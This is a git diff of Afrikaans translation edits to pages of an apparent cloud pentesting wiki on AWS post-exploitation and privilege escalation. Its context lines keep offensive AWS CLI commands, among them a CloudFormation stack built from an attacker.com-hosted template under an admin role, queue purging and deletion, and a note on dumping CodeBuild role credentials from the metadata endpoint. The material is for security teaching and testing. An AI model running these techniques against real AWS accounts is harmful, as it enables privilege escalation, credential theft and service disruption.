### `sns:Subscribe` , `sns:Unsubscribe`
-'n Aanvaller kan op 'n SNS onderwerp inteken of uitskakel, wat moontlik ongeoorloofde toegang tot boodskappe kan verkry of die normale funksionering van toepassings wat op die onderwerp staatmaak, kan ontwrig.
+'n Aanvaller kan op 'n SNS-tema inteken of uitskakel, wat moontlik ongeoorloofde toegang tot boodskappe kan verkry of die normale funksionering van toepassings wat op die tema staatmaak, kan ontwrig.
```bash
aws sns subscribe --topic-arn --protocol --endpoint
aws sns unsubscribe --subscription-arn
@@ -54,11 +54,11 @@ aws sns unsubscribe --subscription-arn
aws sns add-permission --topic-arn --label --aws-account-id --action-name
aws sns remove-permission --topic-arn --label
```
-**Potensiële Impak**: Onbevoegde toegang tot die onderwerp, boodskapblootstelling, of onderwerpmanipulasie deur onbevoegde gebruikers of dienste, onderbreking van normale funksionering vir toepassings wat op die onderwerp staatmaak.
+**Potensiële Impak**: Onbevoegde toegang tot die onderwerp, boodskapblootstelling, of onderwerp manipulasie deur onbevoegde gebruikers of dienste, ontwrigting van normale funksionering vir toepassings wat op die onderwerp staatmaak.
### `sns:TagResource` , `sns:UntagResource`
-'n Aanvaller kan etikette byvoeg, wysig of verwyder van SNS-hulpbronne, wat jou organisasie se koste-toewysing, hulpbronopsporing, en toegangbeheerbeleide gebaseer op etikette ontwrig.
+'n Aanvaller kan etikette byvoeg, wysig of verwyder van SNS hulpbronne, wat jou organisasie se koste-toewysing, hulpbronopsporing, en toegangbeheerbeleide gebaseer op etikette ontwrig.
```bash
aws sns tag-resource --resource-arn --tags Key=,Value=
aws sns untag-resource --resource-arn --tag-keys
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
index ea773c009..c4669d533 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
@@ -12,22 +12,22 @@ Vir meer inligting, kyk:
### `sqs:SendMessage` , `sqs:SendMessageBatch`
-'n Aanvaller kan kwaadwillige of ongewenste boodskappe na die SQS-ry stuur, wat moontlik datakorruptie kan veroorsaak, onbedoelde aksies kan ontketen, of hulpbronne kan uitput.
+'n Aanvaller kan kwaadwillige of ongewenste boodskappe na die SQS-ry stuur, wat moontlik datakorruptie kan veroorsaak, onbedoelde aksies kan aktiveer, of hulpbronne kan uitput.
```bash
aws sqs send-message --queue-url --message-body
aws sqs send-message-batch --queue-url --entries
```
-**Potensiële Impak**: Kwetsbaarheid benutting, Gegevensbesoedeling, onbedoelde aksies, of hulpbronuitputting.
+**Potensiële Impak**: Kwetsbaarheid eksplorasie, Data korrupsie, onbedoelde aksies, of hulpbron uitputting.
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
-'n Aanvaller kan boodskappe in 'n SQS-ry ontvang, verwyder of die sigbaarheid van boodskappe verander, wat kan lei tot boodskapverlies, gegevensbesoedeling, of diensonderbreking vir toepassings wat op daardie boodskappe staatmaak.
+'n Aanvaller kan boodskappe in 'n SQS-ry ontvang, verwyder of die sigbaarheid daarvan verander, wat kan lei tot boodskapverlies, datakorrupsie, of diensonderbreking vir toepassings wat op daardie boodskappe staatmaak.
```bash
aws sqs receive-message --queue-url
aws sqs delete-message --queue-url --receipt-handle
aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout
```
-**Potensiële Impak**: Steal sensitiewe inligting, boodskapverlies, datakorruptie, en diensonderbreking vir toepassings wat op die aangetaste boodskappe staatmaak.
+**Potensiële Impak**: Steal sensitiewe inligting, boodskapverlies, datakorruptie, en diensonderbreking vir toepassings wat op die geraakte boodskappe staatmaak.
### `sqs:DeleteQueue`
@@ -35,11 +35,11 @@ aws sqs change-message-visibility --queue-url --receipt-handle -
```arduino
Copy codeaws sqs delete-queue --queue-url
```
-**Potensiële Impak**: Boodskapverlies en diensonderbreking vir toepassings wat die verwyderde wagte gebruik.
+**Potensiële Impak**: Boodskapverlies en diensonderbreking vir toepassings wat die verwyderde wachtrij gebruik.
### `sqs:PurgeQueue`
-'n Aanvaller kan alle boodskappe uit 'n SQS-wagte verwyder, wat lei tot boodskapverlies en potensiële onderbreking van toepassings wat op daardie boodskappe staatmaak.
+'n Aanvaller kan alle boodskappe uit 'n SQS-wachtrij verwyder, wat lei tot boodskapverlies en potensiële onderbreking van toepassings wat op daardie boodskappe staatmaak.
```arduino
Copy codeaws sqs purge-queue --queue-url
```
@@ -47,7 +47,7 @@ Copy codeaws sqs purge-queue --queue-url
### `sqs:SetQueueAttributes`
-'n Aanvaller kan die eienskappe van 'n SQS-ry kan verander, wat moontlik die prestasie, sekuriteit of beskikbaarheid daarvan beïnvloed.
+'n Aanvaller kan die eienskappe van 'n SQS-ry verander, wat moontlik die prestasie, sekuriteit of beskikbaarheid daarvan beïnvloed.
```arduino
aws sqs set-queue-attributes --queue-url --attributes
```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
index 690d9e480..13662e57a 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
@@ -4,7 +4,7 @@
## Stap Funksies
-Vir meer inligting oor hierdie AWS-diens, kyk:
+Vir meer inligting oor hierdie AWS diens, kyk:
{{#ref}}
../aws-services/aws-stepfunctions-enum.md
@@ -18,13 +18,13 @@ Hierdie toestemming laat toe om **geheime data binne 'n uitvoering te onthul**.
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
-'n Aanvaller met hierdie toestemmings sal in staat wees om staatmasjiene, hul weergawes en aliase permanent te verwyder. Dit kan kritieke werksvloei ontwrig, lei tot dataverlies, en 'n beduidende hoeveelheid tyd vereis om die geraakte staatmasjiene te herstel en te herstel. Boonop sal dit 'n aanvaller in staat stel om die spore wat gebruik is, te verberg, forensiese ondersoeke te ontwrig, en moontlik bedrywighede te verlam deur noodsaaklike outomatiseringsprosesse en staatkonfigurasies te verwyder.
+'n Aanvaller met hierdie toestemmings sal in staat wees om staatmasjiene, hul weergawes en aliase permanent te verwyder. Dit kan kritieke werksvloei ontwrig, lei tot dataverlies, en 'n beduidende hoeveelheid tyd vereis om die geraakte staatmasjiene te herstel en te herstel. Daarbenewens sal dit 'n aanvaller in staat stel om die spore wat gebruik is, te verberg, forensiese ondersoeke te ontwrig, en moontlik operasies te verlam deur noodsaaklike outomatiseringsprosesse en staatkonfigurasies te verwyder.
> [!NOTE]
>
> - Deur 'n staatmasjien te verwyder, verwyder jy ook al sy geassosieerde weergawes en aliase.
-> - Deur 'n staatmasjienalias te verwyder, verwyder jy nie die staatmasjienweergawes wat na hierdie alias verwys nie.
-> - Dit is nie moontlik om 'n staatmasjienweergawes te verwyder wat tans deur een of meer aliase verwys word nie.
+> - Deur 'n staatmasjien alias te verwyder, verwyder jy nie die staatmasjien weergawes wat na hierdie alias verwys nie.
+> - Dit is nie moontlik om 'n staatmasjien weergawe te verwyder wat tans deur een of meer aliase verwys word nie.
```bash
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn
@@ -33,19 +33,19 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn
```
-- **Potensiële Impak**: Ontwrichting van kritieke werksvloeie, dataverlies, en operasionele stilstand.
+- **Potensiële Impak**: Ontwrichting van kritieke werksvloei, dataverlies, en operasionele stilstand.
### `states:UpdateMapRun`
-'n Aanvaller met hierdie toestemming sou in staat wees om die Map Run mislukking konfigurasie en parallel instelling te manipuleer, en sou in staat wees om die maksimum aantal kind werksvloei uitvoerings toegelaat te verhoog of te verlaag, wat direk die diens se prestasie beïnvloed. Daarbenewens kan 'n aanvaller die toegelate mislukking persentasie en telling manipuleer, en sou in staat wees om hierdie waarde tot 0 te verlaag sodat elke keer as 'n item misluk, die hele kaart loop sou misluk, wat direk die staat masjien uitvoering beïnvloed en potensieel kritieke werksvloeie ontwrig.
+'n Aanvaller met hierdie toestemming sou in staat wees om die Map Run mislukking konfigurasie en parallelle instelling te manipuleer, en sou in staat wees om die maksimum aantal kind werksvloei uitvoerings toegelaat te verhoog of te verlaag, wat direk die diens se prestasie beïnvloed. Daarbenewens kan 'n aanvaller met die verdraagbare mislukking persentasie en telling mors, en sou in staat wees om hierdie waarde tot 0 te verlaag sodat elke keer as 'n item misluk, die hele kaart loop sou misluk, wat direk die staat masjien uitvoering beïnvloed en potensieel kritieke werksvloei ontwrigt.
```bash
aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ]
```
-- **Potensiële Impak**: Prestasiedegenerasie, en ontwrigting van kritieke werksvloei.
+- **Potensiële Impak**: Prestasiedegredasie en ontwrigting van kritieke werksvloei.
### `states:StopExecution`
-'n Aanvaller met hierdie toestemming kan in staat wees om die uitvoering van enige staatmasjien te stop, wat lopende werksvloei en prosesse ontwrig. Dit kan lei tot onvoltooide transaksies, gestaakte besigheidsbedrywighede, en potensiële datakorruptie.
+'n Aanvaller met hierdie toestemming kan in staat wees om die uitvoering van enige staatmasjien te stop, wat lopende werksvloei en prosesse ontwrig. Dit kan lei tot onvoltooide transaksies, gestaakte besigheidsbedrywighede en potensiële datakorruptie.
> [!WARNING]
> Hierdie aksie word nie ondersteun deur **express state machines**.
@@ -61,6 +61,6 @@ aws stepfunctions stop-execution --execution-arn [--error ] [--ca
aws stepfunctions tag-resource --resource-arn --tags Key=,Value=
aws stepfunctions untag-resource --resource-arn --tag-keys
```
-**Potensiële Impak**: Ontwrichting van koste-toewysing, hulpbronopsporing, en etiket-gebaseerde toegangbeheerbeleide.
+**Potensiële Impak**: Ontwrichting van koste-toewysing, hulpbronopsporing, en etiket-gebaseerde toegangbeheerbeleide.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
index f7760823e..1463d66b0 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
@@ -17,7 +17,7 @@ Let daarop dat die gebruiker/rol die toestemming **`sts:GetFederationToken`** mo
#### Pasgemaakte skrif
-Die volgende skrif sal die standaard profiel en 'n standaard AWS ligging (nie gov en nie cn) gebruik om vir jou 'n geskrewe URL te gee wat jy kan gebruik om in die webkonsol aan te meld:
+Die volgende skrif sal die standaardprofiel en 'n standaard AWS-ligging (nie gov en nie cn) gebruik om vir jou 'n geskrewe URL te gee wat jy kan gebruik om in die webkonsol aan te meld:
```bash
# Get federated creds (you must indicate a policy or they won't have any perms)
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
@@ -50,13 +50,12 @@ resp=$(curl -s "$federation_endpoint" \
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
-
# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
```
#### aws_consoler
-Jy kan **'n webkonsolskakel genereer** met [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
+Jy kan **'n web konsole skakel genereer** met [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
```bash
cd /tmp
python3 -m venv env
@@ -69,7 +68,7 @@ aws_consoler [params...] #This will generate a link to login into the console
#### aws-vault
-[**aws-vault**](https://github.com/99designs/aws-vault) is 'n hulpmiddel om AWS-akkrediteerings veilig te stoor en toegang daartoe te verkry in 'n ontwikkelingsomgewing.
+[**aws-vault**](https://github.com/99designs/aws-vault) is 'n hulpmiddel om AWS-akkrediteerings veilig te stoor en toegang te verkry in 'n ontwikkelingsomgewing.
```bash
aws-vault list
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
@@ -78,9 +77,9 @@ aws-vault login jonsmith # Open a browser logged as jonsmith
> [!NOTE]
> Jy kan ook **aws-vault** gebruik om 'n **blaaier-konsolesessie** te verkry.
-### **Omseil User-Agent beperkings vanaf Python**
+### **Omgewing van User-Agent beperkings vanaf Python**
-As daar 'n **beperking is om sekere aksies uit te voer gebaseer op die gebruikersagent** wat gebruik word (soos om die gebruik van die python boto3 biblioteek te beperk gebaseer op die gebruikersagent), is dit moontlik om die vorige tegniek te gebruik om **verbinding te maak met die webkonsol deur 'n blaaier**, of jy kan direk die **boto3 gebruikersagent** wysig deur:
+As daar 'n **beperking is om sekere aksies uit te voer gebaseer op die user agent** wat gebruik word (soos om die gebruik van die python boto3 biblioteek te beperk gebaseer op die user agent), is dit moontlik om die vorige tegniek te gebruik om **verbinding te maak met die webkonsol deur 'n blaaier**, of jy kan direk die **boto3 user-agent** wysig deur:
```bash
# Shared by ex16x41
# Create a client
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
index b4e45fd6d..91591e88a 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
@@ -4,14 +4,14 @@
## AWS Privilege Escalation
-Die manier om jou voorregte in AWS te verhoog, is om genoeg toestemmings te hê om op een of ander manier toegang te verkry tot ander rolle/gebruikers/groepe se voorregte. Kettingverhogings totdat jy admin-toegang oor die organisasie het.
+Die manier om jou voorregte in AWS te verhoog, is om genoeg toestemmings te hê om op een of ander manier toegang te verkry tot ander rolle/gebruikers/groepe se voorregte. Kettingverhogings totdat jy admin toegang oor die organisasie het.
> [!WARNING]
-> AWS het **honderde** (indien nie duisende nie) **toestemmings** wat aan 'n entiteit toegeken kan word. In hierdie boek kan jy **alle toestemmings wat ek ken** vind wat jy kan misbruik om **voorregte te verhoog**, maar as jy **'n pad weet** wat hier nie genoem word nie, **deel dit asseblief**.
+> AWS het **honderde** (indien nie duisende nie) **toestemmings** wat aan 'n entiteit toegeken kan word. In hierdie boek kan jy **alle toestemmings wat ek ken** vind wat jy kan misbruik om **voorregte te verhoog**, maar as jy **'n pad ken** wat hier nie genoem word nie, **deel dit asseblief**.
> [!CAUTION]
-> As 'n IAM-beleid `"Effect": "Allow"` en `"NotAction": "Someaction"` het wat 'n **bron** aandui... beteken dit dat die **toegelate prinsiep** **toestemming het om ENIGE DING te doen behalwe daardie spesifieke aksie**.\
-> So onthou dat dit 'n ander manier is om **bevoorregte toestemmings** aan 'n prinsiep toe te ken.
+> As 'n IAM-beleid `"Effect": "Allow"` en `"NotAction": "Someaction"` het wat 'n **bron** aandui... beteken dit dat die **toegelate prinsiep** **toestemming het om ENIGIETS te doen behalwe daardie spesifieke aksie**.\
+> So onthou dat dit 'n ander manier is om **bevoorregte toestemmings** aan 'n prinsiep te verleen.
**Die bladsye van hierdie afdeling is georden volgens AWS-diens. Daar sal jy toestemmings vind wat jou in staat sal stel om voorregte te verhoog.**
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
index 19959dc5e..e4a95e58b 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
@@ -20,7 +20,7 @@ aws --region apigateway create-api-key
### `apigateway:GET`
-Met hierdie toestemming kan jy gegenereerde API-sleutels van die geconfigureerde API's (per streek) kry.
+Met hierdie toestemming kan jy gegenereerde API sleutels van die geconfigureerde API's (per streek) kry.
```bash
aws --region apigateway get-api-keys
aws --region apigateway get-api-key --api-key --include-value
@@ -29,20 +29,20 @@ aws --region apigateway get-api-key --api-key --include-value
### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
-Met hierdie toestemmings is dit moontlik om die hulpbronbeleid van 'n API te wysig om jouself toegang te gee om dit aan te roep en die potensiële toegang wat die API-gateway mag hê, te misbruik (soos om 'n kwesbare lambda aan te roep).
+Met hierdie toestemmings is dit moontlik om die hulpbronbeleid van 'n API te wysig om jouself toegang te gee om dit aan te roep en potensiële toegang wat die API-gateway mag hê, te misbruik (soos om 'n kwesbare lambda aan te roep).
```bash
aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
```
-**Potensiële Impak:** Jy sal gewoonlik nie direk met hierdie tegniek kan privesc nie, maar jy mag toegang tot sensitiewe inligting kry.
+**Potensiële Impak:** Jy sal gewoonlik nie direk met hierdie tegniek privesc kan doen nie, maar jy mag toegang tot sensitiewe inligting kry.
### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
> [!NOTE]
-> Moet getoets word
+> Nodig om te toets
-'n Aanvaller met die toestemmings `apigateway:PutIntegration`, `apigateway:CreateDeployment`, en `iam:PassRole` kan **'n nuwe integrasie by 'n bestaande API Gateway REST API met 'n Lambda-funksie wat 'n IAM-rol het, voeg**. Die aanvaller kan dan **die Lambda-funksie aktiveer om arbitrêre kode uit te voer en moontlik toegang tot die hulpbronne wat met die IAM-rol geassosieer is, te verkry**.
+'n Aanvaller met die toestemmings `apigateway:PutIntegration`, `apigateway:CreateDeployment`, en `iam:PassRole` kan **'n nuwe integrasie by 'n bestaande API Gateway REST API met 'n Lambda-funksie wat 'n IAM-rol aangeheg het, voeg**. Die aanvaller kan dan **die Lambda-funksie aktiveer om arbitrêre kode uit te voer en moontlik toegang tot die hulpbronne wat met die IAM-rol geassosieer is, te verkry**.
```bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
@@ -82,7 +82,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
> [!NOTE]
> Nodig om te toets
-'n Aanvaller met die toestemming `apigateway:UpdateVpcLink` kan **'n bestaande VPC-koppeling wysig om na 'n ander Netwerk Laai Balans te verwys, wat moontlik private API-verkeer na ongeoorloofde of kwaadwillige hulpbronne kan herlei**.
+'n Aanvaller met die toestemming `apigateway:UpdateVpcLink` kan **'n bestaande VPC-koppeling wysig om na 'n ander Netwerk Laai Balancer te verwys, wat moontlik private API-verkeer na ongeoorloofde of kwaadwillige hulpbronne kan herlei**.
```bash
bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
@@ -90,6 +90,6 @@ NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new
# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
```
-**Potensiële Impak**: Onbevoegde toegang tot private API-hulpbronne, onderskepping of onderbreking van API-verkeer.
+**Potensiële Impak**: Onbevoegde toegang tot private API-hulpbronne, onderskep of ontwrigting van API-verkeer.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
index 2ba388c14..f407ca384 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
@@ -12,7 +12,7 @@ Vir meer inligting oor cloudformation, kyk:
### `iam:PassRole`, `cloudformation:CreateStack`
-'n Aanvaller met hierdie toestemmings **kan voorregte verhoog** deur 'n **CloudFormation-stapel** te skep met 'n pasgemaakte sjabloon, gehos op hul bediener, om **aksies uit te voer onder die toestemmings van 'n gespesifiseerde rol:**
+'n Aanvaller met hierdie toestemmings **kan voorregte opgradeer** deur 'n **CloudFormation-stapel** te skep met 'n pasgemaakte sjabloon, gehos op hul bediener, om **aksies uit te voer onder die toestemmings van 'n gespesifiseerde rol:**
```bash
aws cloudformation create-stack --stack-name \
--template-url http://attacker.com/attackers.template \
@@ -43,7 +43,7 @@ Die `cloudformation:SetStackPolicy` toestemming kan gebruik word om **jouself `U
### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
-As jy hierdie toestemming het maar **geen `iam:PassRole`** nie, kan jy steeds **die stapels** wat gebruik word opdateer en die **IAM Rolle wat hulle reeds aangeheg het** misbruik. Kyk na die vorige afdeling vir 'n eksploit voorbeeld (moet net nie enige rol in die opdatering aandui nie).
+As jy hierdie toestemming het maar **geen `iam:PassRole`** nie, kan jy steeds **die stapels** wat gebruik word opdateer en die **IAM Rolle wat hulle reeds aangeheg het** misbruik. Kyk na die vorige afdeling vir 'n voorbeeld van 'n uitbuiting (moet net nie enige rol in die opdatering aandui nie).
Die `cloudformation:SetStackPolicy` toestemming kan gebruik word om **jouself `UpdateStack` toestemming** oor 'n stapel te gee en die aanval uit te voer.
@@ -53,7 +53,7 @@ Die `cloudformation:SetStackPolicy` toestemming kan gebruik word om **jouself `U
'n Aanvaller met toestemmings om **'n rol oor te dra en 'n ChangeSet te skep & uit te voer** kan **'n nuwe cloudformation stapel skep/opdateer en die cloudformation diensrolle misbruik** net soos met die CreateStack of UpdateStack.
-Die volgende eksploit is 'n **variasie van die**[ **CreateStack een**](./#iam-passrole-cloudformation-createstack) wat die **ChangeSet toestemmings** gebruik om 'n stapel te skep.
+Die volgende uitbuiting is 'n **variasie van die**[ **CreateStack een**](./#iam-passrole-cloudformation-createstack) wat die **ChangeSet toestemmings** gebruik om 'n stapel te skep.
```bash
aws cloudformation create-change-set \
--stack-name privesc \
@@ -79,7 +79,7 @@ aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1
```
-Die `cloudformation:SetStackPolicy` toestemming kan gebruik word om **vir jouself `ChangeSet` toestemmings** oor 'n stap te gee en die aanval uit te voer.
+Die `cloudformation:SetStackPolicy` toestemming kan gebruik word om **vir jouself `ChangeSet` toestemmings** oor 'n stapel te gee en die aanval uit te voer.
**Potensiële Impak:** Privesc na cloudformation diensrolle.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
index c2b491f1f..f733209d2 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
@@ -55,14 +55,14 @@
}
}
```
-Dan **genereer die cloudformation stap**:
+Dan **genereer die cloudformation stapel**:
```bash
aws cloudformation create-stack --stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::[REDACTED]:role/adminaccess \
--capabilities CAPABILITY_IAM --region us-west-2
```
-**Wag vir 'n paar minute** vir die stap om gegenereer te word en dan **kry die uitvoer** van die stap waar die **bewyse gestoor word**:
+**Wag vir 'n paar minute** vir die stapel om gegenereer te word en dan **kry die uitvoer** van die stapel waar die **bewyse gestoor word**:
```bash
aws cloudformation describe-stacks \
--stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
index 7483fb8d0..7b7d4679a 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
@@ -63,7 +63,7 @@ aws codebuild start-build-batch --project --buildspec-override fi
- `StartBuild` aktiveer 'n enkele bouwerk met 'n spesifieke `buildspec.yml`.
- `StartBuildBatch` laat jou toe om 'n batch van bouwerke te begin, met meer komplekse konfigurasies (soos om verskeie bouwerke gelyktydig te laat loop).
-**Potensiële Impak:** Direkte privesc na aangehegte AWS Codebuild rolle.
+**Potensiële Impak:** Direkte priveskala na aangehegte AWS Codebuild rolle.
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
@@ -114,7 +114,7 @@ aws codebuild delete-project --name codebuild-demo-project
```
{{#endtab }}
-{{#tab name="Voorbeeld2" }}
+{{#tab name="Example2" }}
```bash
# Generated by AI, not tested
# Create a buildspec.yml file with reverse shell command
@@ -140,13 +140,13 @@ aws codebuild start-build --project-name reverse-shell-project
**Potensiële Impak:** Direkte privesc na enige AWS Codebuild rol.
> [!WARNING]
-> In 'n **Codebuild-container** bevat die lêer `/codebuild/output/tmp/env.sh` al die omgewing veranderlikes wat nodig is om toegang te verkry tot die **metadata-akkrediteerings**.
+> In 'n **Codebuild houer** bevat die lêer `/codebuild/output/tmp/env.sh` al die omgewing veranderlikes wat nodig is om toegang te verkry tot die **metadata geloofsbriewe**.
-> Hierdie lêer bevat die **omgewing veranderlike `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** wat die **URL-pad** bevat om toegang tot die akkrediteerings te verkry. Dit sal iets soos hierdie wees `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
+> Hierdie lêer bevat die **omgewing veranderlike `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** wat die **URL pad** bevat om toegang te verkry tot die geloofsbriewe. Dit sal iets soos hierdie wees `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
-> Voeg dit by die URL **`http://169.254.170.2/`** en jy sal in staat wees om die rol akkrediteerings te dump.
+> Voeg dit by die URL **`http://169.254.170.2/`** en jy sal in staat wees om die rol geloofsbriewe te dump.
-> Boonop bevat dit ook die **omgewing veranderlike `ECS_CONTAINER_METADATA_URI`** wat die volledige URL bevat om **metadata-inligting oor die container** te verkry.
+> Boonop bevat dit ook die **omgewing veranderlike `ECS_CONTAINER_METADATA_URI`** wat die volledige URL bevat om **metadata-inligting oor die houer** te verkry.
### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
@@ -268,14 +268,14 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
### SSM
-Om **genoeg regte te hê om 'n ssm-sessie te begin** is dit moontlik om **binne 'n Codebuild-projek** wat gebou word, te kom.
+As jy **genoeg regte het om 'n ssm-sessie te begin**, is dit moontlik om **binne 'n Codebuild-projek** wat gebou word, te kom.
Die codebuild-projek sal 'n breekpunt moet hê:
@@ -285,11 +285,11 @@ En dan:
aws codebuild batch-get-builds --ids --region --output json
aws ssm start-session --target --region
```
-For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
+Vir meer inligting [**kyk na die dokumentasie**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
-'n Aanvaller wat in staat is om 'n spesifieke CodeBuild-projek se bou te begin/herbegin wat sy `buildspec.yml`-lêer op 'n S3-bucket stoor waartoe die aanvaller skryfrechten het, kan opdragte uitvoer in die CodeBuild-proses verkry.
+'n Aanvaller wat in staat is om 'n bou van 'n spesifieke CodeBuild-projek te begin/herbegin wat sy `buildspec.yml` lêer op 'n S3-bucket stoor waartoe die aanvaller skryfrechten het, kan opdraguitvoering in die CodeBuild-proses verkry.
Let wel: die eskalasie is slegs relevant as die CodeBuild-werker 'n ander rol het, hoopvol meer bevoorreg, as dié van die aanvaller.
```bash
@@ -319,7 +319,7 @@ commands:
```
**Impak:** Direkte privesc na die rol wat deur die AWS CodeBuild werker gebruik word, wat gewoonlik hoë bevoegdhede het.
-> [!WARNING]
+> [!WAARSKUWING]
> Let daarop dat die buildspec in zip-formaat verwag kan word, so 'n aanvaller sal moet aflaai, uitpak, die `buildspec.yml` vanaf die wortelgids wysig, weer zip en oplaai.
Meer besonderhede kan [hier](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) gevind word.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
index 8ebad76f5..32d65bdcd 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
@@ -14,9 +14,9 @@ Vir meer inligting oor codepipeline, kyk:
Wanneer jy 'n code pipeline skep, kan jy 'n **codepipeline IAM Rol om te loop** aandui, daarom kan jy hulle kompromenteer.
-Behalwe vir die vorige toestemmings, sal jy **toegang tot die plek waar die kode gestoor word** benodig (S3, ECR, github, bitbucket...)
+Afgesien van die vorige toestemmings, sal jy **toegang tot die plek waar die kode gestoor is** benodig (S3, ECR, github, bitbucket...)
